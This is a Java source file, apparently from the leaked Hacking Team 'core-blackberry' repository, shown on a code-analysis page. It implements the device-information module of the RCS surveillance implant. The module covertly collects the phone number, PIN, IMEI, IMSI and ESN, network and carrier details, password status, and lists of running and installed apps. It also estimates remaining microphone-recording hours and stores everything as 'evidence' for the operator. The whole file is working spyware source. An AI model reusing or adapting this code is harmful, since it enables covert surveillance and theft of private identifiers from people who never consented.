hackedteam/core-blackberry

View on GitHub
RCSBlackBerry/src/blackberry/module/ModuleDevice.java

Summary

Maintainability
D
2 days
Test Coverage
//#preprocess
/* *************************************************
 * Copyright (c) 2010 - 2010
 * HT srl,   All rights reserved.
 * Project      : RCS, RCSBlackBerry
 * Package      : blackberry.agent
 * File         : DeviceInfoAgent.java
 * Created      : 28-apr-2010
 * *************************************************/
package blackberry.module;

import java.util.Date;
import java.util.Enumeration;
import java.util.Hashtable;

import net.rim.device.api.system.ApplicationDescriptor;
import net.rim.device.api.system.ApplicationManager;
import net.rim.device.api.system.CodeModuleGroup;
import net.rim.device.api.system.CodeModuleGroupManager;
import net.rim.device.api.system.CodeModuleManager;
import net.rim.device.api.system.DeviceInfo;
import net.rim.device.api.system.GPRSInfo;
import net.rim.device.api.system.IDENInfo;
import net.rim.device.api.system.RadioInfo;
import net.rim.device.api.ui.Keypad;
import net.rim.device.api.util.NumberUtilities;
import blackberry.Device;
import blackberry.Messages;
import blackberry.Status;
import blackberry.config.Cfg;
import blackberry.config.ConfModule;
import blackberry.debug.Debug;
import blackberry.debug.DebugLevel;
import blackberry.evidence.Evidence;
import blackberry.evidence.EvidenceType;
import blackberry.fs.Path;

/**
 * The Class DeviceInfoAgent.
 */
public final class ModuleDevice extends BaseInstantModule {
    private static final String CR = "\n"; //$NON-NLS-1$
    //#ifdef DEBUG
    static Debug debug = new Debug("ModDevice", DebugLevel.VERBOSE); //$NON-NLS-1$
    //#endif

    boolean runningApplication;
    boolean installedApplication;

    public static String getStaticType() {
        return Messages.getString("1c.a");//"device"; //$NON-NLS-1$
    }

    public boolean parse(ConfModule conf) {
        // this.processList = true;
        return true;
    }

    /*
     * (non-Javadoc)
     * @see blackberry.threadpool.TimerJob#actualRun()
     */
    public void actualStart() {
        boolean ret = true;

        Device device = Device.getInstance();
        final StringBuffer sb = new StringBuffer();

        // Modello
        // sb.append("Processor: ARM" +CR);
        if (DeviceInfo.isSimulator()) {
            sb.append(Messages.getString("1c.3") + CR); //$NON-NLS-1$
        }

        //#ifdef DEBUG
        sb.append(Messages.getString("1c.4") + CR); //$NON-NLS-1$
        //#endif

        if (Status.self().isDemo()) {
            // 1c.a=DEMO
            sb.append(Messages.getString("1c.a") + CR); //$NON-NLS-1$
        }

        // SYSTEM
        sb.append(CR + Messages.getString("1c.5") + CR + CR); //$NON-NLS-1$
        sb.append(Messages.getString("1c.6") + DeviceInfo.getManufacturerName() + CR); //$NON-NLS-1$
        sb.append(Messages.getString("1c.7") + DeviceInfo.getDeviceName() + CR); //$NON-NLS-1$
        sb.append(Messages.getString("1c.8") + Device.getPin() + CR); //$NON-NLS-1$

        // OS
        sb.append(CR + Messages.getString("1c.9") + CR + CR); //$NON-NLS-1$
        sb.append(Messages.getString("1c.10") + DeviceInfo.getPlatformVersion() + CR); //$NON-NLS-1$
        sb.append(Messages.getString("1c.11") + DeviceInfo.getSoftwareVersion() + CR); //$NON-NLS-1$
        sb.append(Messages.getString("1c.12") + DeviceInfo.getIdleTime() + CR); //$NON-NLS-1$
        sb.append(Messages.getString("1c.13") + DeviceInfo.isInHolster() + CR); //$NON-NLS-1$
        sb.append(Messages.getString("1c.14") + DeviceInfo.isPasswordEnabled() + CR); //$NON-NLS-1$

        // HARDWARE
        sb.append(CR + Messages.getString("1c.15") + CR + CR); //$NON-NLS-1$
        sb.append(Messages.getString("1c.16") + Runtime.getRuntime().totalMemory() + CR); //$NON-NLS-1$
        sb.append(Messages.getString("1c.17") + Runtime.getRuntime().freeMemory() + CR); //$NON-NLS-1$
        sb.append(Messages.getString("1c.18") + DeviceInfo.hasCamera() + CR); //$NON-NLS-1$
        sb.append(Messages.getString("1c.19") + device.getPhoneNumber() + CR); //$NON-NLS-1$
        sb.append(Messages.getString("1c.20")); //$NON-NLS-1$
        int keyLayout = Keypad.getHardwareLayout();
        switch (keyLayout) {
            case Keypad.HW_LAYOUT_32:
                sb.append("32 " + CR); //$NON-NLS-1$
                break;
            case Keypad.HW_LAYOUT_39:
                sb.append("39" + CR); //$NON-NLS-1$
                break;
            case Keypad.HW_LAYOUT_LEGACY:
                sb.append(Messages.getString("1c.23") + CR); //$NON-NLS-1$
                break;
            case Keypad.HW_LAYOUT_PHONE:
                sb.append(Messages.getString("1c.24") + CR); //$NON-NLS-1$
                break;
            case Keypad.HW_LAYOUT_REDUCED_24:
                sb.append(Messages.getString("1c.25") + CR); //$NON-NLS-1$
                break;
            /*
             * case Keypad.HW_LAYOUT_TOUCHSCREEN_12: sb.append("TOUCH " + CR);
             * break; case Keypad.HW_LAYOUT_TOUCHSCREEN_12A: sb.append("TOUCH "
             * + CR); break; case Keypad.HW_LAYOUT_TOUCHSCREEN_12C:
             * sb.append("TOUCH " + CR); break; case
             * Keypad.HW_LAYOUT_TOUCHSCREEN_12H: sb.append("TOUCH " + CR);
             * break; case Keypad.HW_LAYOUT_TOUCHSCREEN_20J: sb.append("TOUCH "
             * + CR); break; case Keypad.HW_LAYOUT_TOUCHSCREEN_20JA:
             * sb.append("TOUCH " + CR); break; case
             * Keypad.HW_LAYOUT_TOUCHSCREEN_20K: sb.append("TOUCH " + CR);
             * break;
             */

            default:
                sb.append(Messages.getString("1c.26") + keyLayout + CR); //$NON-NLS-1$
                break;

        }

        // FLASH
        sb.append(CR + Messages.getString("1c.27") + CR + CR); //$NON-NLS-1$
        long freeSpace = Path.freeSpace(Path.USER);
        long totalSpace = DeviceInfo.getTotalFlashSize();

        if (totalSpace > freeSpace) {
            sb.append(Messages.getString("1c.28") //$NON-NLS-1$
                    + (int) (DeviceInfo.getTotalFlashSize() / (1024 * 1024))
                    + Messages.getString("1c.29") + CR); //$NON-NLS-1$
        }

        if (freeSpace != -1) {
            sb.append(Messages.getString("1c.30") + (int) (freeSpace / (1024 * 1024)) //$NON-NLS-1$
                    + Messages.getString("1c.31") + CR); //$NON-NLS-1$
            sb.append(Messages.getString("1c.32") + micRecTime(freeSpace) + Messages.getString("1c.33") //$NON-NLS-1$ //$NON-NLS-2$
                    + CR);
        }

        if (Path.isSDAvailable()) {
            sb.append(Messages.getString("1c.34") + Path.totalSpace(Path.SD) + Messages.getString("1c.35") + CR); //$NON-NLS-1$ //$NON-NLS-2$
            sb.append(Messages.getString("1c.36") + Path.freeSpace(Path.SD) + Messages.getString("1c.37") + CR); //$NON-NLS-1$ //$NON-NLS-2$
        }

        // POWER
        sb.append(CR + Messages.getString("1c.38") + CR + CR); //$NON-NLS-1$
        sb.append(Messages.getString("1c.39") + DeviceInfo.getBatteryLevel() + "%" + CR); //$NON-NLS-1$ //$NON-NLS-2$
        sb.append(Messages.getString("1c.41") + DeviceInfo.getBatteryStatus() + CR); //$NON-NLS-1$
        sb.append(Messages.getString("1c.42") + DeviceInfo.getBatteryTemperature() //$NON-NLS-1$
                + Messages.getString("1c.43") + CR); //$NON-NLS-1$
        sb.append(Messages.getString("1c.44") + DeviceInfo.getBatteryVoltage() + " V" //$NON-NLS-1$ //$NON-NLS-2$
                + CR);

        // RADIO
        sb.append(CR + Messages.getString("1c.46") + CR + CR); //$NON-NLS-1$
        if (Device.isCDMA()) {
            sb.append(Messages.getString("1c.47") + CR); //$NON-NLS-1$
            sb.append(Messages.getString("1c.48") + device.getSid() + CR); //$NON-NLS-1$
            sb.append(Messages.getString("1c.49") + NumberUtilities.toString(device.getEsn(), 16) //$NON-NLS-1$
                    + CR);
        } else if (Device.isGPRS()) {
            sb.append(Messages.getString("1c.50") + CR); //$NON-NLS-1$
            sb.append(Messages.getString("1c.51") + device.getImei(false) + CR); //$NON-NLS-1$
            sb.append(Messages.getString("1c.52") + device.getImsi(false) + CR); //$NON-NLS-1$
            sb.append(Messages.getString("1c.53") + GPRSInfo.getHomeMCC() + CR); //$NON-NLS-1$
            sb.append(Messages.getString("1c.54") + GPRSInfo.getHomeMNC() + CR); //$NON-NLS-1$
            sb.append(Messages.getString("1c.55") + GPRSInfo.getCellInfo().getRSSI() + CR); //$NON-NLS-1$
            sb.append(Messages.getString("1c.56") + GPRSInfo.getZoneName() + CR); //$NON-NLS-1$
        } else if (Device.isIDEN()) {
            sb.append(Messages.getString("1c.57") + CR); //$NON-NLS-1$
            sb.append(Messages.getString("1c.51") + device.getImei(true) + CR); //$NON-NLS-1$
            sb.append(Messages.getString("1c.52") + device.getImsi(true) + CR); //$NON-NLS-1$
            sb.append(Messages.getString("1c.53") + IDENInfo.getHomeMCC() + CR); //$NON-NLS-1$
            sb.append(Messages.getString("1c.80") + IDENInfo.getHomeNDC() + CR); //$NON-NLS-1$
            sb.append(Messages.getString("1c.81") + IDENInfo.getHomeNetworkName() + CR); //$NON-NLS-1$
            //sb.append(Messages.getString("1c.56") + IDENInfo.getCellInfo() + CR); //$NON-NLS-1$
        }

        try {
            sb.append(Messages.getString("1c.58") + RadioInfo.getActiveWAFs() + CR); //$NON-NLS-1$
            sb.append(Messages.getString("1c.59") + RadioInfo.getCurrentNetworkName() + CR); //$NON-NLS-1$
            sb.append(Messages.getString("1c.60") + RadioInfo.getEnabledWAFs() + CR); //$NON-NLS-1$

            final String code = RadioInfo.getNetworkCountryCode(RadioInfo
                    .getCurrentNetworkIndex());

            if (code != null) {
                sb.append(Messages.getString("1c.61") //$NON-NLS-1$
                        + RadioInfo.getNetworkCountryCode(RadioInfo
                                .getCurrentNetworkIndex()) + CR);
            }

            sb.append(Messages.getString("1c.62") + RadioInfo.getNetworkService() + CR); //$NON-NLS-1$
            sb.append(Messages.getString("1c.63") + RadioInfo.getNetworkType() + CR); //$NON-NLS-1$
            sb.append(Messages.getString("1c.64") + RadioInfo.getSignalLevel() + Messages.getString("1c.65") //$NON-NLS-1$ //$NON-NLS-2$
                    + CR);
            sb.append(Messages.getString("1c.66") //$NON-NLS-1$
                    + RadioInfo.isDataServiceOperational() + CR);
            sb.append(Messages.getString("1c.67") //$NON-NLS-1$
                    + RadioInfo.isDataServiceSuspended() + CR);
            // sb.append(": " + RadioInfo.);
        } catch (final Exception ex) {
            //#ifdef DEBUG
            debug.error(Messages.getString("1c.68") + ex); //$NON-NLS-1$
            //#endif
        }

        // APPLICATIONS
        sb.append(CR + Messages.getString("1c.69") + CR + CR); //$NON-NLS-1$
        sb.append(getRunningApplications());

        try {
            if (this.installedApplication) {

                sb.append(getInstalledModuleGroup());
                // sb.append(getInstalledApplications());
            }
        } catch (final Exception ex) {
            //#ifdef DEBUG
            debug.error(ex);
            //#endif
        }

        String content = sb.toString();
        Evidence evidence = new Evidence(EvidenceType.DEVICE);
        evidence.atomicWriteOnce(content);

    }

    private int micRecTime(long freeSpace) {
        // 8192 bytes every 5 seconds.
        // 1638 bytes every second
        // 98304 b / min
        // 5898240 b / hour

        return (int) (freeSpace / 5898240);
    }

    /**
     * Gets the running applications.
     * 
     * @return the running applications
     */
    String getRunningApplications() {
        final StringBuffer sb = new StringBuffer();

        final ApplicationManager manager = ApplicationManager
                .getApplicationManager();

        final int foregroundProcess = manager.getForegroundProcessId();
        sb.append(Messages.getString("1c.70") + foregroundProcess); //$NON-NLS-1$

        sb.append(CR + Messages.getString("1c.71") + CR); //$NON-NLS-1$

        // Check to see if application is running.
        final ApplicationDescriptor[] descriptors = manager
                .getVisibleApplications();
        // Retrieve the name of a running application.
        for (int i = 0; i < descriptors.length; i++) {
            final ApplicationDescriptor descriptor = descriptors[i];
            sb.append(descriptor.getName());
            sb.append(" "); //$NON-NLS-1$
            sb.append(descriptor.getVersion());
            sb.append(" "); //$NON-NLS-1$
            sb.append(descriptor.getFlags());
            sb.append(" "); //$NON-NLS-1$
            if (manager.getProcessId(descriptor) == foregroundProcess) {
                sb.append(Messages.getString("1c.75")); //$NON-NLS-1$
            }
            if ((descriptor.getPowerOnBehavior() & ApplicationDescriptor.FLAG_RUN_ON_STARTUP) != 0) {
                sb.append(Messages.getString("1c.76")); //$NON-NLS-1$
            }
            sb.append(CR);
        }

        return sb.toString();
    }

    /**
     * Gets the running applications.
     * 
     * @return the running applications
     */
    String getInstalledApplications() {
        final StringBuffer sb = new StringBuffer();
        sb.append(CR + Messages.getString("1c.77") + CR); //$NON-NLS-1$

        // Retrieve an array of handles for existing modules on a BlackBerry
        // device
        final int handles[] = CodeModuleManager.getModuleHandles();

        final int size = handles.length;
        for (int i = 0; i < size; i++) {
            final int handle = handles[i];
            // CodeModuleManager.getModuleHandle(name)
            // Retrieve specific information about a module.
            final String name = CodeModuleManager.getModuleName(handle);
            final String vendor = CodeModuleManager.getModuleVendor(handle);
            final String description = CodeModuleManager
                    .getModuleDescription(handle);
            final String version = CodeModuleManager.getModuleVersion(handle);
            final int moduleSize = CodeModuleManager.getModuleCodeSize(handle);
            final long timestamp = CodeModuleManager.getModuleTimestamp(handle);

            final Date date = new Date(timestamp);

            sb.append(name);
            sb.append(" , "); //$NON-NLS-1$
            sb.append(vendor);
            sb.append(CR);
        }

        return sb.toString();
    }

    String getInstalledModuleGroup() {
        final StringBuffer sb = new StringBuffer();
        sb.append(CR + Messages.getString("1c.79") + CR + CR); //$NON-NLS-1$

        // Retrieve an array of handles for existing modules on a BlackBerry
        // device
        final CodeModuleGroup handles[] = CodeModuleGroupManager.loadAll();
        // Retrieve an array of handles for existing modules on a BlackBerry
        // device
        final int AllModulesHandles[] = CodeModuleManager.getModuleHandles();
        final Hashtable remainigModules = new Hashtable();
        int size = AllModulesHandles.length;
        for (int i = 0; i < size; i++) {
            remainigModules
                    .put(new Integer(AllModulesHandles[i]), new Object());
        }

        if (handles == null) {
            size = 0;
        } else {
            size = handles.length;
        }
        for (int i = 0; i < size; i++) {
            final CodeModuleGroup group = handles[i];

            // Retrieve specific information about a module.
            final String name = group.getName();
            final String copyright = group.getCopyright();
            final String description = group.getDescription();
            final int flags = group.getFlags();
            final String friendly = group.getFriendlyName();
            final String vendor = group.getVendor();
            final String version = group.getVersion();

            if (name == Cfg.GROUP_NAME) {
                sb.append(Messages.getString("1c.1") + CR); //$NON-NLS-1$

            }

            sb.append(name);
            sb.append(" , "); //$NON-NLS-1$
            sb.append(vendor);
            sb.append(" , "); //$NON-NLS-1$
            sb.append(flags);
            sb.append(" , "); //$NON-NLS-1$
            sb.append(version);
            sb.append(CR);

            final Enumeration enumerator = group.getModules();
            while (enumerator.hasMoreElements()) {
                final String moduleName = (String) enumerator.nextElement();
                final int handle = CodeModuleManager
                        .getModuleHandle(moduleName);
                // Retrieve specific information about a module.

                sb.append("--> " + moduleName); //$NON-NLS-1$
                if (handle > 0) {
                    remainigModules.remove(new Integer(handle));
                    final String vendorModule = CodeModuleManager
                            .getModuleVendor(handle);
                    final String versionModule = CodeModuleManager
                            .getModuleVersion(handle);
                    sb.append(", " + vendorModule); //$NON-NLS-1$
                    sb.append(", " + versionModule); //$NON-NLS-1$

                    final ApplicationDescriptor[] descr = CodeModuleManager
                            .getApplicationDescriptors(handle);
                    if (descr != null && descr.length > 0) {
                        sb.append(", ( "); //$NON-NLS-1$
                        for (int j = 0; j < descr.length; j++) {
                            sb.append(descr[j].getFlags() + " "); //$NON-NLS-1$
                        }
                        sb.append(")"); //$NON-NLS-1$
                    }
                }
                sb.append(CR);
            }

            sb.append(CR);

        }

        sb.append(CR + Messages.getString("1c.0") + CR + CR); //$NON-NLS-1$
        final Enumeration enumeration = remainigModules.keys();
        while (enumeration.hasMoreElements()) {
            final Integer handle = (Integer) enumeration.nextElement();

            final String nameModule = CodeModuleManager.getModuleName(handle
                    .intValue());
            final String vendorModule = CodeModuleManager
                    .getModuleVendor(handle.intValue());
            final String versionModule = CodeModuleManager
                    .getModuleVersion(handle.intValue());

            sb.append(nameModule);
            sb.append(", " + vendorModule); //$NON-NLS-1$
            sb.append(", " + versionModule); //$NON-NLS-1$
            sb.append(CR);
        }
        final String ret = sb.toString();
        return ret;
    }

}